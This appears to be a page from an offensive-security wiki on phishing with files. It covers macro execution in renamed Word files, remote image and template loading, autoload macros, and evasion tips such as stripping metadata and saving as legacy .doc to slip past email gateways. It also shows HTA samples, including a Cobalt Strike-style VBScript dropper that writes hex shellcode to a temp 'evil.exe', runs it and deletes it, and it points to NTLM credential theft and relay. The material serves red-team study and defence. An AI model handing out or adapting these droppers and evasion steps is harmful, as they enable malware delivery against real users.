## Office Documents
Microsoft Word performs file data validation before opening a file. Data validation is performed in the form of data structure identification, against the OfficeOpenXML standard. If any error occurs during the data structure identification, the file being analysed will not be opened.
Usually, Word files containing macros use the `.docm` extension. However, it's possible to rename the file by changing the file extension and still keep their macro executing capabilities.\
For example, an RTF file does not support macros, by design, but a DOCM file renamed to RTF will be handled by Microsoft Word and will be capable of macro execution.\
The same internals and mechanisms apply to all software of the Microsoft Office Suite (Excel, PowerPoint etc.).
You can use the following command to check which extensions are going to be executed by some Office programs:
```bash
assoc | findstr /i "word excel powerp"
```
DOCX files referencing a remote template (File Options Add-ins Manage: Templates Go) that includes macros can “execute” macros as well.
### External Image Load
Go to: _Insert --> Quick Parts --> Field_\
_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http://\<ip>/whatever
![](<../../.gitbook/assets/image (316).png>)
### Macros Backdoor
It's possible to use macros to run arbitrary code from the document.
#### Autoload functions
The more common they are, the more probable the AV will detect them.
* AutoOpen()
* Document\_Open()
#### Macros Code Examples

#### Manually remove metadata
Fo to **File > Info > Inspect Document > Inspect Document**, which will bring up the Document Inspector. Click **Inspect** and then **Remove All** next to **Document Properties and Personal Information**.
#### Doc Extension
When finished, select **Save as type** dropdown, change the format from **`.docx`** to **Word 97-2003 `.doc`**.\
Do this because you **can't save macro's inside a `.docx`** and there's a **stigma** **around** the macro-enabled **`.docm`** extension (e.g. the thumbnail icon has a huge `!` and some web/email gateway block them entirely). Therefore, this **legacy `.doc` extension is the best compromise**.

## HTA Files
An HTA is a proprietary Windows program whose **source code consists of HTML and one or more scripting languages** supported by Internet Explorer (VBScript and JScript). HTML is used to generate the user interface and the scripting language for the program logic. An **HTA executes without the constraints of the browser's security model**, so it executes as a "fully trusted" application.
An HTA is executed using **`mshta.exe`**, which is typically **installed** along with **Internet Explorer**, making **`mshta` dependant on IE**. So if it has been uninstalled, HTAs will be unable to execute.
```html
<--! Basic HTA Execution -->
<html>
<head>
<title>Hello World</title>
</head>
<body>
<h2>Hello World</h2>
<p>This is an HTA...</p>
</body>
<script language="VBScript">
Function Pwn()
Set shell = CreateObject("wscript.Shell")
shell.run "calc"
End Function
Pwn
</script>
</html>
```
```html
<--! Cobal Strike generated HTA without shellcode -->
<script language="VBScript">
Function var_func()
var_shellcode = "<shellcode>"
Dim var_obj
Set var_obj = CreateObject("Scripting.FileSystemObject")
Dim var_stream
Dim var_tempdir
Dim var_tempexe
Dim var_basedir
Set var_tempdir = var_obj.GetSpecialFolder(2)
var_basedir = var_tempdir & "\" & var_obj.GetTempName()
var_obj.CreateFolder(var_basedir)
var_tempexe = var_basedir & "\" & "evil.exe"
Set var_stream = var_obj.CreateTextFile(var_tempexe, true , false)
For i = 1 to Len(var_shellcode) Step 2
var_stream.Write Chr(CLng("&H" & Mid(var_shellcode,i,2)))
Next
var_stream.Close
Dim var_shell
Set var_shell = CreateObject("Wscript.Shell")
var_shell.run var_tempexe, 0, true
var_obj.DeleteFile(var_tempexe)
var_obj.DeleteFolder(var_basedir)
End Function
var_func
self.close
</script>
```
## Forcing NTLM Authentication
There are several ways to **force NTLM authentication "remotely"**, for example, you could add **invisible images** to emails or HTML that the user will access (even HTTP MitM?). Or send the victim the **address of files** that will **trigger** an **authentication** just for **opening the folder.**
**Check these ideas and more in the following pages:**
{% content-ref url="../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md" %}
[printers-spooler-service-abuse.md](../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md)
{% endcontent-ref %}
{% content-ref url="../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md" %}
[places-to-steal-ntlm-creds.md](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md)
{% endcontent-ref %}
### NTLM Relay
Don't forget that you cannot only steal the hash or the authentication but also **perform NTLM relay attacks**:
